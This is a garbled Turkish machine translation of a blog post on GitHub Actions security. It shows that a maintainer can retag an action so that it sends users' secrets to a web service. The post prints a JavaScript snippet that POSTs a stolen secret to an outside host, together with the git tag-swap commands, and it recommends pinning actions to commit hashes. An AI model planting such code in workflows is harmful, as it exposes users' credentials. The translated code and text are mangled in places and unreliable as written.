GitHub Eylemi riskli

Kötü niyetli kod, bazıları etiketlenmiş olsa bile GitHub eylemlerine eklenebilir.

Yazar | Julien Renaux

Çevirmen | Crescent Moon, Baş Editör | Tu Min

Aşağıdaki çeviridir:

Her şey Aralık ortasında yayınladığım bir tweet ile başladı:

Github pazarında bulunan İşlemleri kullanmanın yol ver hassas Erişim belirteçleri vb. Gibi veriler

sorun

GitHub Marketplace'te birçok popüler Eylem bulabilirsiniz ve bunların tümü, görevleri gerçekleştirmek için gizli anahtarlar gerektirir.

Örneğin, bir Docker görüntüsü oluşturmak ve bunu ayna havuzunda yayınlamak istiyorsanız, Action: elgohr / Publish-Docker-Github-Action'ı kullanabilirsiniz. Bu, bu tür bir görevi gerçekleştirmek için en popüler eylemdir, ancak GitHub tarafından oluşturulmaz ve GitHub tarafından korunmaz.

Bu eylemin belgelerini dikkatlice okuyun ve docker mirror deposunun kullanıcı adı ve şifresini gerektirdiğini göreceksiniz.

-name: Kayıt Defterine Yayınla kullanır: elgohr / Publish-Docker-Github-Action @ master ile: isim: myDocker / depo kullanıcı adı: $ {{secrets.DOCKER_USERNAME}} şifre: $ {{secrets.DOCKER_PASSWORD}}

Kaçımız kötü niyetli kod içerip içermediğini kontrol etmek için eylemin koduna bakacağız? Sanırım bunu kimse yapmayacak. Hepimiz otomatik olarak yazara güveniriz.

Bu eylemin yıllar boyunca GitHub'daki binlerce iş akışında kullanıldığını hayal edin.

Güvendiğimiz yazar, kodun takip desteğinden başka birinin sorumlu olmasına izin verirse (bu genellikle açık kaynak endüstrisinde olur), gelecekte ne olacak?

Herhangi bir bakımcı dalı veya etiketi güncelleyebilir

Sorun burada yatıyor!

Size bu sorunu göstermek için bir eylem yarattım: shprink / zararsız ve olması gereken-eylemler. Bu eylem meşru görünüyor ve adı güvenilir görünüyor.

Kullanırken, bir anahtar vermeniz gerekir:

-kullanımları: shprink / zararsız ve olması gereken-eylemler @ v1 ile: sırrım: $ {{secrets.YOUR_SECRET}}

Kod (aşağıya bakın) aslında hiçbir şey yapmaz, anahtarı alır ve sonra bazı yasal şeyler yapar (docker görüntüleri, npm paketleri vb. Yayınlamak).

Deneyin { const mySecret = core.getInput ("sırrım"); console.log (`YILLARCA GİZLİ İLE GERÇEKTEN BİR ŞEY YAPIN`); } catch (hata) { core.setFailed (error.message); }

Bu eylem v1 olarak işaretlenmiştir. Maalesef etiketler Git ile değiştirilebilir.

Bunu yapmak için önce etiketi yerel olarak silmeniz ve ardından aşağıdaki komutla onu uzaktan silmeniz gerekir:

$ git etiketi -d v1 $ git push - kaynak v1'i sil

Ardından, anahtarı web hizmetine göndermek gibi kötü amaçlı kod ekleyebiliriz:

Deneyin { const mySecret = core.getInput ("sırrım"); console.log (`` GİZLİ BİRİ BİR ARACILIĞIYLA SAKLAMAYA ÇALIŞMA HTTP ÇAĞRI`); request.post ( "https: //jsonplaceholder.typicode .com /gönderiler", { json: { title: "çalınan sırrımı bir yerde saklayın", vücut: mySecret, kullanıcı İD: 1 }, üstbilgiler: {"Content-type": " uygulama lisans / json; charset = UTF-8 "} }, (hata, çözüm, gövde) = > { if (hata) { console.error (hata); dönüş; } console.log (`BİRİNİN GİZLİLERİNİ SAKLAYIN ', res.statusCode, gövde); } ); } catch (hata) { core.setFailed (error.message); }

Eylem kullanıcıları iş akışlarını yeniden çalıştırdıklarında, "yeni" v1'i kullanacaklar, böylece değerli anahtarları yol ver .

,

çözüm: Kayıt karmasını sürüm olarak kullan

GitHub'da @AlainHelaili'nin Twitter'da bahsettiği gibi, dalları veya etiketleri kontrol etmemelisiniz (ikisi de güvenli değildir), kesin hash'leri kontrol etmelisiniz:

Her bir hash benzersizdir ve geçmişi yeniden yazmak için aynı SHA-1'i kullanamazsınız.

Bu iyi bir çözüm, ancak bu uygulamayı teşvik eden herhangi bir belge görmedim. Gördüğüm tüm belgeler dallar veya etiketler kullanıyor ...

Tarih derslerinden öğrenin

Kısa bir süre önce, NPM sol pedinde tam olarak aynı sorun vardı.Paket npm deposundan kaldırıldıktan sonra, tüm İnternet yok edildi.

Çok geçmeden npm, iptal politikasını değiştirmeye karar verdi.

Revize edilen ilke, belirli bir sürümün 24 saat sonra iptal edilememesi ve daha önce kullanılan etiketin değiştirilememesidir.

Kullanıcıların sürüm yayınlarını iptal etmesini veya etiketleri değiştirmesini önlemek için GitHub'ın aynı yaklaşımı izlemesi gerektiğini düşünüyorum.

Orijinal: https://julienrenaux.fr/2019/12/20/github-actions-security-risk/

Bu makale bir CSDN çevirisidir, lütfen yeniden basımın kaynağını belirtin.

Dharma Akademisi'nin yayınlanan ilk on bilim ve teknoloji trendi: 2020 önemsiz değil!

Bahar Şenliği sırasında kör randevu için bir zorunluluk olan kendi veri kablosuna sahip mini dijital ekranlı güç bankası
önceki
Tencent "şiddetli işten çıkarmalara" yanıt verdi; Xiaomi, Changcheng'in Lenovo ile rekabet etmeme hükmü imzaladığını reddediyor; NumPy 1.16.6 yayınlandı | Geek Manşetleri
Sonraki
2020'de yapay zeka çukuruna girmenin en iyi zamanı neden?
Neden birçok programcı mimarlara geçmiyor?
Dharma Akademisi'nin En İyi On Teknoloji Trendi Yayınlandı: 2020 aynı değil
Eğik çizgi programcısı olmak için başka ne elde edersiniz?
Son on yıldaki veritabanı trendlerine genel bakış! Saklama ve hesaplamanın ayrılması, ACID'nin tam iadesi ...
Aşamalı web uygulamaları mobil geliştirmenin geleceği mi?
Zor iş ilerleme! İlerlemeyi sürdürenler ne kadar korkunç?
WeChat "QR Kodunu Tara", patent ihlali nedeniyle dava açıldı; Apple "iOS 13 sık uygulama konumlandırma hatırlatmalarına" yanıt verdi; Python 2 kullanımdan kaldırıldı | Geek Headlines
Karantina süresi dolduktan sonra 6 kişi ücretlerinden kaçarak Laoshan Yangkou manzaralı noktaya döndü! Birisi dinlenirken sigara içiyor
Mini Programların bir gizlilik politikasına ihtiyacı var mı? Tianjin, beş uygulamanın gizlilik politikasına sahip olmadığını ve yarısından fazlasının küçük programlar olduğunu bildirdi
Salgın sırasında evde, Zhongshan'daki bu ilkokuldaki öğrenciler, çalışmalarının ustası olmak için kendi "kişisel programlarını" yapıyorlar.
Dongguan Changanın "Love Airdrop" kampanyası başlatıldı ve her gün çeşitli materyallerden 20.000 kopya ücretsiz olarak alındı.
To Top